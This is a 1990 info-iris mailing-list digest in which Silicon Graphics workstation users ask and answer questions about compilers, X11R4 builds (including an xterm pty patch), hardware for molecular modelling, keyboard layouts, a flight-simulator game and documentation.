EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa26934; 22 Apr 90 5:20 EDT Received: from BU.EDU by VGR.BRL.MIL id aa17262; 22 Apr 90 1:19 EDT Received: by BU.EDU (1.97) Sun, 22 Apr 90 01:21:15 EDT Received: by xenna.Xylogics.COM (4.12/4.7_jlv1/7/90) id AA15298; Sun, 22 Apr 90 01:22:17 edt Received: by world.std.com (5.61++/Spike-1.0) id AA07722; Sun, 22 Apr 90 01:01:23 -0400 Date: Sun, 22 Apr 90 01:01:23 -0400 From: Chetty Ramanathan Message-Id: <9004220501.AA07722@world.std.com> To: info-iris@BRL.MIL Subject: Kyoto common Lisp Where can I get a public domain version of a successful port of Kyoto CommonLisp for the Personal Iris 4D running IRIX 3.2.1 -ra ------------------------------------------------------------------------------- C.Ramanathan | Software Tool & Die, Purveyors to the Trade |ra@skuld.std.com 1330 Beacon St, Brookline, MA 02146,(617)739-0202 |{xylogics,uunet}world!ra   Received: from vmb.brl.mil by VMB.BRL.MIL id aa00305; 23 Apr 90 5:20 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa29962; 23 Apr 90 4:07 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa29957; 23 Apr 90 4:01 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa20404; 23 Apr 90 2:00 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA26527; Sun, 22 Apr 90 22:47:50 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 23 Apr 90 04:58:06 GMT From: Tom Stockfisch Organization: Chemistry Dept, UC San Diego Subject: Re: ANSI C (Was: C Compiler Bug(?)) Message-Id: <748@chem.ucsd.EDU> References: <56994@sgi.sgi.com>, <1684@dftsrv.gsfc.nasa.gov> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <1684@dftsrv.gsfc.nasa.gov> buck@drax.gsfc.nasa.gov (Loren (Buck) Buchanan) writes: >In article <56994@sgi.sgi.com> davea@quasar.UUCP (David B. Anderson) writes: >Also when will lint and/or cflow be >available that will handle prototypes? If you have prototypes, why do you need lint? -- || Tom Stockfisch, UCSD Chemistry tps@chem.ucsd.edu   Received: from vmb.brl.mil by VMB.BRL.MIL id aa00361; 23 Apr 90 5:36 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab00305; 23 Apr 90 5:26 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa00303; 23 Apr 90 5:20 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa20530; 23 Apr 90 3:03 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA29938; Sun, 22 Apr 90 23:54:56 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 23 Apr 90 06:07:16 GMT From: Bruce Becker Organization: G. T. S., Toronto, Ontario Subject: Re: perl 3.0.18 for DECstation 3100? Message-Id: <8274@becker.UUCP> References: <1690@tuegate.tue.nl>, <1990Apr17.134528.9328@alias.uucp>, Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article mellon@fenris.pa.dec.com (Ted Lemon) writes: | |C. Harald Koch writes: |>When compiling with -Olimit 3000, It runs and runs and runs... I |>killed the compiler after about 45 minutes. After about 5 minutes the |>machine gets incredibly sluggish. [...] the optimizer was attempting |>to use 30Meg of memory on a 16Meg machine, and causing immense amounts |>of paging activity. This may be a bug in SGI's version of the |>compiler. | |Gee, on my DECstation 5000 with 24 meg, it only took about fifteen or |twenty minutes to build. On Mike Meyer's DECstation 3100 with 16 meg, |it ran overnight. Therefore, I don't think it's a bug in the |compiler, but rather simply a configuration problem. If you swap out |your SGI workstation for a DECstation 5000 and be sure to populate it |with more memory, you should have better success. Or, to take a less |DEC-rah-rah attitude, expanding the memory in your SGI machine would |probably solve the problem. Well, on my WhizzBango 666, I compiled with -Olimit 10000 which took 6 days, but resulted in an object module of only 1 machine instruction. What operation is performed by opcode "0x42"? Today the machine is resting... -- ,u, Bruce Becker Toronto, Ontario a /i/ Internet: bdb@becker.UUCP, bruce@gpu.utcs.toronto.edu `\o\-e UUCP: ...!uunet!mnetor!becker!bdb _< /_ "I still have my phil-os-o-phy" - Meredith Monk   Received: from vmb.brl.mil by VMB.BRL.MIL id aa00864; 23 Apr 90 6:56 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab00361; 23 Apr 90 5:43 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa00338; 23 Apr 90 5:26 EDT Received: from [130.59.1.2] by VGR.BRL.MIL id aa20537; 23 Apr 90 3:12 EDT Received: by chx400.switch.ch (5.61/Ultrix2.4-C) id AA18614; Mon, 23 Apr 90 09:12:21 +0200 Date: 23 Apr 90 9:10 +0100 From: Reinhard Doelz To: info-iris@BRL.MIL MMDF-Warning: Parse error in original version of preceding line at BRL.MIL In-Reply-To: <501@gazette.bcm.tmc.edu> Message-Id: <289:doelz@urz.unibas.ch> Subject: RE: Molecular Modelling on SGI Being asked for power... It depends on what you want to do. The 4D/20 might be perfect if you just want to look at methane, whereas a space-filled GAPDH needs a SGI 4D/380 (oops; i.e. forget about smoothly rotating CPK's with commercial software if more than 1000 atoms are involved). To be serious, the following configuration should be the best price/performance deal: Memory - the more the better. Graphics packages tend to be memory choppers as soon as chickenwire or dot surfaces as well as dynamics animations are involved. Try to get at least 24 megs. I am aware of third party offers but check the warranty conditions before you obtain any third party periperals! Graphics - Z-buffer is a *must*. Any display needs this in order to get fast. Bitplanes - you probably don't need the alpha planes nor the VGX because current software is (mostly) working in color map mode. The only software which made use of alpha was/is MOLCAD (a german package from Technische Hochschule Darmstadt), which is also running in RGB mode. Keep in mind that the situation might change, therefore, ask your supplier about future graphics! The usual GTX without the alpha should be fine. Disk - In order to run Dynamics beside Modelling, you will need to have a huge scratch space (i.e., a large /tmp to accomodate the result files), and the swap parition should be at least 100 megs. Therefore, depending on how many users want to do 'real stuff', i would calculate the disk space as follows: system (380) + user# * 200, giving at least one 780megs disk. Don't go for two 380's, they make it necessary to get a new controller on the third unit upon upgrade. Don't forget to delete all the demos in order to save space! CPU - the faster the better, the more the better. Try to get a 3000 processor, the 2000 is outdated already. Don't forget that license fees are usually depending on the CPU power. Reasonable, long-term dynamics need *weeks* on a PI, so get a 210 at least for larger projects. I/O - You probably will need to use a dial&buton box (at least dials) because Modelling is much more suggestive in turning a knob than by using a slider picker. (It might be conservative - but I grew up on a E&S box, and FRODO is all what dials are worth...). There are also separate dials available (and not the box). I think that such a device is worth buying, but check with your supplier for future support of dials and/or buttons. Network - The smaller the machine, the more urgent it is no get an Ethernet to the world (and NFS to the next (hopefully, larger) disk). Try to stick to TCP/IP, the 4DDN (DECNET)product is more tricky to use and is non generically unix. If you need to connect to VAXES, I have made very good experience with the Ultrix connection product of DEC (UCX). I am also using 4DDN for task to task communication (home made), and it works reasonable. Your users mighht want to use VMS COPY on the VAXes, then, you need to get 4DDN. Software - we're running BIOSYM software on VAX, CONVEX, SGI and E&S boxes. As far as I was able to get all the licensing it is very convenient to get to best available machine and start it - however, communications of binary files are somewhat tricky. I know POLYGEN software and did just play with the most current version on a meeting in the U.K. This bboard is surely not the place to do advertising but personally I like only few features of QUANTA/CHARMm/POLYGEN which are not in INSIGHT/DISCOVER/BIOSYM. On the other hand, the latter seems to me more functional and more user-friendly (INSIGHTII), and communications are better in DISCOVER/INSIGHT than QUANTA/CHARMM. If you like fancy pictures for advertising, QUANTA has a simple 'ray-tracer' which is slow (up to minutes on large molecules) but impressive. - Reinhard * DISCLAIMER * The statements here are personal ones and not meant to advertise any of the products mentioned.   Received: from vmb.brl.mil by VMB.BRL.MIL id aa07597; 23 Apr 90 13:22 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa06705; 23 Apr 90 12:30 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa06629; 23 Apr 90 12:10 EDT Received: from aero4.larc.nasa.gov by VGR.BRL.MIL id aa21458; 23 Apr 90 8:12 EDT Received: Mon, 23 Apr 90 08:14:08 EST by aero4.larc.nasa.gov (5.52/5.6) Date: Mon, 23 Apr 90 08:14:08 EST From: "Brent L. Bates AAD/TAB MS361 x42854" Message-Id: <9004231514.AA07294@aero4.larc.nasa.gov> To: sgi!shinobu!odin!bananapc.wpd.sgi.com!ciemo@ucbvax.berkeley.edu Subject: Re: A suggestion to SGI regarding keyboards Cc: info-iris@BRL.MIL Excuse me, but, how many SGI machines or for that matter workstations in general are running MS-DOS for the OS or the Apple OS? Workstations run UNIX and some PC's run UNIX too. I am use to the keyboard on our 3130 and it will take a little time to get use to the 4D keyboard. However, there are some things I CAN'T get use to. Like an ESC key that is clear out in left field. It would be nice if the CAPS LOCK and CTRL keys were switched. (SUN and some Tektronix keyboards are made correctly, in regard to this issue.) But the ESC must be moved! Put it to the left of the "1/!" key. make the back space key smaller and put the "`/~" key just to the right (or left) of the back space key. Companies that want to stay in the business of making workstations have UNIX as the OS and I think the "PC's" will eventually too. They are moving toward UNIX more each day, so it makes sense to adopt a "standard" keyboard that is reasonable for a UNIX user to use. And remapping the keyboard isn't a real solution. -- Brent L. Bates NASA-Langley Research Center M.S. 361 Hampton, Virginia 23665-5225 (804) 864-2854 E-mail: blbates@aero4.larc.nasa.gov or blbates@aero2.larc.nasa.gov   Received: from vmb.brl.mil by VMB.BRL.MIL id aa12083; 23 Apr 90 18:05 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa11551; 23 Apr 90 17:55 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa11533; 23 Apr 90 17:38 EDT Received: from cunyvm.cuny.edu by VGR.BRL.MIL id aa21941; 23 Apr 90 9:46 EDT Received: from DDATHD21.BITNET by CUNYVM.CUNY.EDU (IBM VM SMTP R1.2.2MX) with BSMTP id 8492; Mon, 23 Apr 90 09:46:52 EDT Received: from BR2.THD.DA.D.EUROPE by DDATHD21.BITNET via GNET with RJE ; 23 Apr 90 15:44:31 Date: Mon, 23 Apr 90 15:43:47 +0200 (Central European Summer Time) From: Knobi der Rechnerschrat Subject: 4d/380 To: info-iris@BRL.MIL X-VMS-To: X%"info-iris@brl.mil" Message-ID: <9004230946.aa21941@VGR.BRL.MIL> Hello, can somebody enlighten me? In to of the more recent postings I saw the term 4D/380 or 4D/300 series. What the hell is that compared to the 4D/200 series? Confused Martin   Received: from vmb.brl.mil by VMB.BRL.MIL id aa12732; 23 Apr 90 20:24 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab12614; 23 Apr 90 20:13 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa12582; 23 Apr 90 19:57 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa25361; 23 Apr 90 19:35 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA21658; Mon, 23 Apr 90 15:42:17 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 23 Apr 90 22:28:53 GMT From: "Scott R. Presnell" Subject: Flight/Dog mods. Message-Id: <13769@cgl.ucsf.EDU> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL Fellow doggers, We got ahold of the source code for flight through the approved channels (the only indication of a version number is 2.4), and I've made some modifications: 1) To allow for better tracking by the sidewinders (while probably not ballistically reasonable, certainly more interesting). 2) To warn when another player or missile has a fire control lock on your plane (audible). I'd be glad to send diffs if anyone is interested, but I'd also be interested in other mod's poeple have seen fit to make. Like data for the Stealth fighter (F-117A?), or more interesting terrain; whatever. Thanks. - Scott -- Scott Presnell +1 (415) 476-9890 Pharm. Chem., S-926 Internet: srp@cgl.ucsf.edu University of California UUCP: ...ucbvax!ucsfcgl!srp San Francisco, CA. 94143-0446 Bitnet: srp@ucsfcgl.bitnet   Received: from vmb.brl.mil by VMB.BRL.MIL id ab12732; 23 Apr 90 20:24 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ac12614; 23 Apr 90 20:13 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id ab12582; 23 Apr 90 19:57 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa25363; 23 Apr 90 19:35 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA19036; Mon, 23 Apr 90 14:56:52 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 23 Apr 90 21:28:39 GMT From: cs.utexas.edu!samsung!zaphod.mps.ohio-state.edu!wuarchive!kuhub.cc.ukans.edu!arritt@tut.cis.ohio-state.edu Organization: University of Kansas Academic Computing Services Subject: Help for getting started? Message-Id: <22986.26331f27@kuhub.cc.ukans.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL I just bought a 4D/25G, and would like to learn how to use it most effectively. What I need is something not as rudimentary as the "Personal IRIS Owner's Guide" yet more concise and plain-English than the 20 binders of documentation that come with the system. (Jeez, you'd think that after paying $26,000 for a computer, you wouldn't have to bind the documentation yourself...) Are there any books called "Getting the Most Out of Your IRIS" or some such? Failing this, what about general books on UNIX workstations? I'd prefer something oriented toward problem solving, for example: What to do if you get a message "this machine does not have a tape drive" and you know damn well it does, because you just did a full backup? What are the differences between tar and cpio, and when should you use one as opposed to the other? Many of the general UNIX books I've used say to "contact your system administrator" for the details of some particular procedure -- this doesn't help much for a standalone workstation, where the user is the "system administrator". The 4D/25 is really a great machine, and I want to use it to its best capabilities. Any constructive suggestions you can offer would be welcome. ________________________________________________________________________ Ray Arritt | Dept. of Physics and Astronomy | Univ. of Kansas | Lawrence, KS 66045 | arritt@kuhub.cc.ukans.edu | arritt@ukanvax.bitnet |   Received: from vmb.brl.mil by VMB.BRL.MIL id ac12732; 23 Apr 90 20:24 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ad12614; 23 Apr 90 20:13 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa12584; 23 Apr 90 19:58 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa25382; 23 Apr 90 19:40 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA13792; Mon, 23 Apr 90 13:26:47 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 23 Apr 90 20:16:29 GMT From: Pablo Fernicola Organization: UF CIS Department Subject: Where are quickpaint and quickmodel? Message-Id: <22973@uflorida.cis.ufl.EDU> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL We installed the release 3.2 tapes, but I could not find quickpaint and quickmodel. We received two tapes, and I went through the manual installation process but could not find them in there, what gives? Thanks, Pablo -- pff@beach.cis.ufl.edu - Pablo Fernicola - Machine Intelligence Laboratory - UF IF YOU CARE ENOUGH TO READ SIGNATURES ... I got my MS and a job (finally), but I play a student on the Net.   Received: from vmb.brl.mil by VMB.BRL.MIL id ad12732; 23 Apr 90 20:24 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ae12614; 23 Apr 90 20:13 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id ab12584; 23 Apr 90 19:58 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa25384; 23 Apr 90 19:40 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA13951; Mon, 23 Apr 90 13:29:36 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 23 Apr 90 19:50:58 GMT From: Michael Halle Organization: MIT Media Lab, Cambridge, MA Subject: MIT X.V11R4 build (and...install: where is sgiinst.sh?) Message-Id: <2251@media-lab.MEDIA.MIT.EDU> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL Forgive me if this is old news... I have reasonably successfully built the X.V11R4 clients and libraries from the MIT distribution. By the way, all I had to do was hack sgi.cf at the following lines #define BuildServer NO #define HasInputExtension NO /* causes compiler table overflows */ and hack mit/clients/xterm/main.c as in the diff at the end of this message. (Because I could not find documentation for /dev/ptc, I took a guess when #define-ing minor() to be ((x)&0xff). It works, but I'm not sure what the upper limit on ptys is.) As others have noted, makedepend is a bad thing, so make World is not good. You want to do everything *but* the dependency-building step. Also, xdm didn't want to build, as I recall, problems with socket code. If this sounds a little fuzzy, it's because I just used "make -k" after the makefiles and includes were built. But, when I went to install the stuff, I found that mit/utils/scripts/sgiinst.sh, which is nicely supposed to update the IDB, did not exist. As I have yet to personally experience the subtleties of SGI's install, being from the Berkeley and HP-UX worlds, I wonder if anyone has a copy or clone of the script. Thanks, Michael Halle MIT Media Lab Here's the diff for xterm (MIT version has all patches applied): *** /X.V11R4/MASTER/mit/clients/xterm/main.c Tue Jan 23 23:34:06 1990 --- /X.V11R4/irix_3.2/mit/clients/xterm/main.c Mon Apr 23 15:32:10 1990 *************** *** 902,907 int *pty; { static int devindex, letter = 0; #ifdef att if ((*pty = open ("/dev/ptmx", O_RDWR)) < 0) { --- 902,908 ----- int *pty; { static int devindex, letter = 0; + int tty; #ifdef att if ((*pty = open ("/dev/ptmx", O_RDWR)) < 0) { *************** *** 910,916 return 0; #else /* !att, need lots of code */ ! #if defined(umips) && defined (SYSTYPE_SYSV) struct stat fstat_buf; *pty = open ("/dev/ptc", O_RDWR); --- 911,917 ----- return 0; #else /* !att, need lots of code */ ! #if (defined(umips) && defined (SYSTYPE_SYSV)) || defined(sgi) struct stat fstat_buf; #ifndef minor #define minor(x) ((x)&0xff)/*this is just a guess for sgi, not documented*/ *************** *** 912,917 #if defined(umips) && defined (SYSTYPE_SYSV) struct stat fstat_buf; *pty = open ("/dev/ptc", O_RDWR); if (*pty < 0 || (fstat (*pty, &fstat_buf)) < 0) { --- 913,921 ----- #if (defined(umips) && defined (SYSTYPE_SYSV)) || defined(sgi) struct stat fstat_buf; + #ifndef minor + #define minor(x) ((x)&0xff)/*this is just a guess for sgi, not documented*/ + #endif *pty = open ("/dev/ptc", O_RDWR); if (*pty < 0 || (fstat (*pty, &fstat_buf)) < 0) { *************** *** 919,925 } sprintf (ttydev, "/dev/ttyq%d", minor(fstat_buf.st_rdev)); sprintf (ptydev, "/dev/ptyq%d", minor(fstat_buf.st_rdev)); ! if ((*tty = open (ttydev, O_RDWR)) < 0) { close (*pty); return(1); } --- 923,929 ----- } sprintf (ttydev, "/dev/ttyq%d", minor(fstat_buf.st_rdev)); sprintf (ptydev, "/dev/ptyq%d", minor(fstat_buf.st_rdev)); ! if ((tty = open (ttydev, O_RDWR)) < 0) { close (*pty); return(1); } *************** *** 1506,1511 #ifdef USE_TTY_GROUP { #include struct group *ttygrp; if (ttygrp = getgrnam("tty")) { /* change ownership of tty to real uid, "tty" gid */ --- 1510,1519 ----- #ifdef USE_TTY_GROUP { #include + #ifdef sgi + struct group *getgrnam(); + #endif + struct group *ttygrp; if (ttygrp = getgrnam("tty")) { /* change ownership of tty to real uid, "tty" gid */   Received: from vmb.brl.mil by VMB.BRL.MIL id ae12732; 23 Apr 90 20:24 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id af12614; 23 Apr 90 20:13 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa12593; 23 Apr 90 19:59 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa25408; 23 Apr 90 19:44 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA11185; Mon, 23 Apr 90 12:42:54 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 23 Apr 90 19:36:43 GMT From: Pablo Fernicola Organization: UF CIS Department Subject: Event queue Problem Message-Id: <22972@uflorida.cis.ufl.EDU> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL I have a program that presents the user with two menu choices, on RIGHTBUTTON down event. According to the user's selection, different menus are presented for the next RIGHTBUTTON down events. The problem that we are having is that the first time that the user performs a selection on the second level menu, control is passed back to the first level again, but this happens only on the first time. Also, is there anyway of sending an event to the server, if one decides not to handle it within an event loop? -------- Simple description of problem -------------------------- main() { /* declare variables and open window */ firstMenu = newpup(); addtopup( firstMenu, " %F choice 1| choice 2", selection); qdevice( RIGHTMOUSE ); while( 1 ) { if( qtest() ) { dev = qread( &val ); switch( dev ) { case RIGHTMOUSE: dopup( firstmenu ); break; default: break; } } } } void selection( choice ) int choice; { if ( choice == 1) task1(); else if (choice == 2) task2(); } task1() { secondMenu = newpup(); addtopup( secondMenu, " choice 1| choice 2| choice 3| choice 4"); qdevice( RIGHTMOUSE ); while( 1 ) { if( qtest() ) { dev = qread( &val ); switch( dev ) { case RIGHTMOUSE: pupval2 = dopup( secondMenu ); /* HERE IS WHERE THE PROGRAM BREAKS AND CONTROL IS RETURNED TO THE SWITCH STATEMENT IN MAIN(), WITH THE CORRECT PUPVAL */ switch( pupval2 ) { case 1: /* do stuff */ break; case 2: /* do stuff */ break; case 3: /* do stuff */ break; case 4: return; break; } break; default: break; } } } } task2() { /* similar to task1 */ } -- pff@beach.cis.ufl.edu - Pablo Fernicola - Machine Intelligence Laboratory - UF IF YOU CARE ENOUGH TO READ SIGNATURES ... I got my MS and a job (finally), but I play a student on the Net.   Received: from vmb.brl.mil by VMB.BRL.MIL id aa12862; 23 Apr 90 20:41 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa12614; 23 Apr 90 20:12 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa12574; 23 Apr 90 19:55 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa22474; 23 Apr 90 11:34 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA24098; Mon, 23 Apr 90 08:01:33 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 23 Apr 90 14:51:42 GMT From: "Loren (Buck" MMDF-Warning: Parse error in original version of preceding line at BRL.MIL Organization: Computer Sciences Corporation @ NASA Goddard Space Flight Center Subject: Re: ANSI C (Was: C Compiler Bug(?)) Message-Id: <1789@dftsrv.gsfc.nasa.gov> References: <56994@sgi.sgi.com>, <1684@dftsrv.gsfc.nasa.gov>, <748@chem.ucsd.EDU> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <748@chem.ucsd.EDU> tps@chem.ucsd.edu (Tom Stockfisch) writes: >In article <1684@dftsrv.gsfc.nasa.gov> buck@drax.gsfc.nasa.gov (Loren (Buck) Buchanan) writes: >>In article <56994@sgi.sgi.com> davea@quasar.UUCP (David B. Anderson) writes: > >>Also when will lint and/or cflow be >>available that will handle prototypes? > >If you have prototypes, why do you need lint? Good question, I was under the assumption that lint still checked for odd-ball sorts of things that the C compiler does not check for or if it does find it, not give any indication. Some of these things would be unused variables, dead code, and portability violations. But the best reason for having lint is that lint is used by cflow. Now for the good news, I was told of these problems, by my task leader sometime last year and didn't think any more about it. Well it seems as though cflow works well enough to meet our needs. Here is a case of RTFM and it leading the unwary astray. B Cing U Buck Loren "Buck" Buchanan | internet: buck@drax.gsfc.nasa.gov | standard disclaimer CSC, 1100 West St. | uucp: ...!ames!dftsrv!drax!buck | "By the horns of a Laurel, MD 20707 | phonenet: (301) 497-2531 or 9898 | sky demon..."   Received: from vmb.brl.mil by VMB.BRL.MIL id ab12862; 23 Apr 90 20:41 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id af12732; 23 Apr 90 20:30 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa12713; 23 Apr 90 20:18 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa25433; 23 Apr 90 19:50 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA00288; Mon, 23 Apr 90 09:40:45 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 23 Apr 90 13:42:26 GMT From: Eric Pearce Organization: BD&HR (Beer Drinkers & Hell Raisers) Subject: Re: dvi2ps for IRIS? Message-Id: <1990Apr23.134226.18818@world.std.com> References: <9004172126.AA10002@cs.nps.navy.mil>, <1990Apr18.134115.24669@caen.engin.umich.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL Get "dvips" from labrea.stanford.edu - It runs on everything and I like it better than dvi2ps. -e   Received: from vmb.brl.mil by VMB.BRL.MIL id ac12862; 23 Apr 90 20:41 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ag12732; 23 Apr 90 20:30 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id ab12713; 23 Apr 90 20:18 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa25435; 23 Apr 90 19:50 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA00345; Mon, 23 Apr 90 09:41:28 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 23 Apr 90 16:21:11 GMT From: George Elkins Organization: Rutgers Univ., New Brunswick, N.J. Subject: Compiling X11R4 sources from MIT Message-Id: Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL Has anyone taken the sources of the X Window System Version 11 Release 4 from MIT and successfully compiled client libraries and applications on an Iris 4D? If so, were the changes minor? thanks, George Elkins   Received: from vmb.brl.mil by VMB.BRL.MIL id ad12862; 23 Apr 90 20:41 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ah12732; 23 Apr 90 20:30 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa12722; 23 Apr 90 20:19 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa25613; 23 Apr 90 20:02 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA26233; Mon, 23 Apr 90 16:58:58 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 23 Apr 90 21:47:43 GMT From: Dave Ciemiewicz Organization: Silicon Graphics, Inc. Subject: Re: APL for SGI Personal Iris? Message-Id: <6703@odin.corp.sgi.com> References: <1990Apr21.000923.9868@water.waterloo.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <1990Apr21.000923.9868@water.waterloo.edu>, rwoldford@water.waterloo.edu (Wayne Oldford) writes: > Greetings: > > Does anyone know of an implementation of APL for the Silicon Graphics Inc. > I would like to purchase a Personal Iris 4D25G(T) for research work on > scientific graphics, however the machine is to do double duty as a platform > for some APL programming. > Does anyone have any ideas? > > Thanks in advance: > > R.W. Oldford > > rwoldford@water.waterloo.edu or rwoldford@water.uwaterloo.ca > > -- > Internet: rwoldford@water.waterloo.edu > UUCP: {allegra,clyde,decvax,ihnp4,utzoo}!watmath!water!rwoldford There is an implementation of APL in the BSD Unix software release. My understanding is that many of the non-proprietary sources (i.e. non-AT&T codes) are publicly available from a number of anonymous FTP sites. This is not an endorsement for the version of APL as I have never used it. It is just an avenue you might explore. Sorry, I don't know the sites providing BSD sources. --- Ciemo   Received: from vmb.brl.mil by VMB.BRL.MIL id aa13020; 23 Apr 90 20:58 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa12564; 23 Apr 90 19:56 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa12505; 23 Apr 90 19:41 EDT Received: from megaron.cs.arizona.edu by VGR.BRL.MIL id aa25272; 23 Apr 90 19:12 EDT Received: by megaron.cs.arizona.edu (5.59-1.7/15) id AA09535; Mon, 23 Apr 90 16:14:31 MST Received: by uazaic.SGI (5.15/5.6) id AA00822; Mon, 23 Apr 90 15:39:26 PST Date: Mon, 23 Apr 90 15:39:26 PST From: Dolata Message-Id: <9004232339.AA00822@uazaic.SGI> To: arizona!info-iris%brl.mil@cs.arizona.edu Subject: So whats the current price for a 3130?? Well, after having waited over 5 weeks to get my 3130 fixed (it's not on maintainance contract), and considering how SGI has orphaned the 2000 and 3000 series machines, I'm strongly considering selling my 3130 and buying ANYBODY else. Sure, SGI has great graphix, but what good is it if the company treats you like dirt and you can't use the bloody machine? So, what I want to know is the current market price of 3130's?? Is the price high enough to buy a Ultrix Dec station, or should I just give the machine to the kiddies?   Received: from vmb.brl.mil by VMB.BRL.MIL id ab13020; 23 Apr 90 20:58 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ae12862; 23 Apr 90 20:47 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa12848; 23 Apr 90 20:34 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa25424; 23 Apr 90 19:45 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA09160; Mon, 23 Apr 90 12:09:31 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 23 Apr 90 19:51:26 GMT From: Richard Rosenthal Organization: USAETL, Alexandria, Virginia Subject: Documentation on SGI Image File Format Message-Id: <440@ai.etl.army.mil> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL I need a formal description (man page) of the SGI Image Format. Does a description exist in the distributed system documentation (I couldn't find any.) Otherwise, does someone have a formal description particularly for the 24-bit RGB format that they can e-mail? /s/ 